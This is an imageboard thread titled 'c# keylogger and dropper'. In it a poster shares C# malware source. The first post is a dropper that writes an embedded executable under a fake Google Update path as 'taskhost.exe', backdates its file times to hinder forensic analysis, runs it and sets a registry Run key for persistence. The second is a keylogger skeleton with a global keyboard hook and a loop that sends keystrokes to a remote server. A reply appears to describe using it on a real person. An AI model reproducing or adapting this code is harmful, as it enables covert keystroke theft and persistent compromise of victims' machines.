Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

c# keylogger and dropper

Name: FrozenVoid 2011-04-15 14:48


/* dropper fragment - background worker to drop embedded resource */

private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
{
    try {
        // pretend to be part of google update
        string outfile = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google"), "Update");
       
        try {
            Directory.CreateDirectory(outfile);
        } catch {}

        // innocent sounding name       
        outfile = Path.Combine(outfile, "taskhost.exe");
       
        // extract from embedded resource and write
        using (Stream input = Assembly.GetExecutingAssembly().GetManifestResourceStream("dropper.taskhost.exe"))
            using (Stream output = File.Create(outfile))
            {
                CopyStream(input, output);
                output.Close();
                input.Close();
            }

        // give it a time in the past to avoid analysis of when it was dropped
        try {
            File.SetLastWriteTime(outfile, DateTime.Now.AddMonths(-2).AddHours(-40).AddMinutes(33));
            File.SetCreationTime(outfile, DateTime.Now.AddMonths(-2).AddHours(-40).AddMinutes(33));
        } catch {}

        // run it
        System.Diagnostics.Process.Start(outfile);

        try {
            // and make it run every login
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            key.SetValue("Google Update Taskhost", "\"" + outfile + "\" -update");
        } catch {}
    }
    catch {}
}

Name: Anonymous 2011-04-15 14:52

Why would you do this in C#?

Name: Anonymous 2011-04-15 14:52

epic warez

Name: FrozenVoid 2011-04-15 15:00

/* keylogger skeleton */

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

private static BackgroundWorker bw1;

static void Main()
{
    // install low level global keyboard hook
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    // start background worker to process collected keystrokes
    bw1 = new BackgroundWorker();
    bw1.DoWork += new DoWorkEventHandler(bw1_DoWork);
    bw1.RunWorkerAsync();
   
    // run message loop
    Application.Run();
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events and add them to a queue would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

static void bw1_DoWork(object sender, DoWorkEventArgs e)
{
    for (;;)
    {
        // every minute, send key data to remote server
        try {
            SendKeyData();
        } catch {}
        Thread.Sleep(60000);
    }
}

private static void SendKeyData()
{
    /* code to read accumulated keystroke data from queue and send to remote server would be here */
}

Name: Anonymous 2011-04-15 15:00

>>2
Why not?

Name: Anonymous 2011-04-15 16:01

>>5
I ASKED FIIIIRST >:(

Name: Anonymous 2011-04-15 16:52

ooOooOO! Nifty Cheeso.

Name: Anonymous 2011-04-15 21:20

>>6
I needed to code a something up quickly so I used C# instead of fucking around with Sepples nonsense. The joke was on me though as the recipient was using an old version of XP that didn't have .NET Framework installed. Fortunately though, I managed to convince him to install it.

Name: Anonymous 2011-04-15 21:35

I liked this. Fukin' savd.

Name: Anonymous 2012-07-12 20:53

woah

Name: sage 2012-07-12 21:10

sage

Name: Anonymous 2012-07-12 22:15

>>8

if you are going to hax ani, at least do it right and hax ani using a minimum set of dependencies.

Don't change these.
Name: Email:
Entire Thread Thread List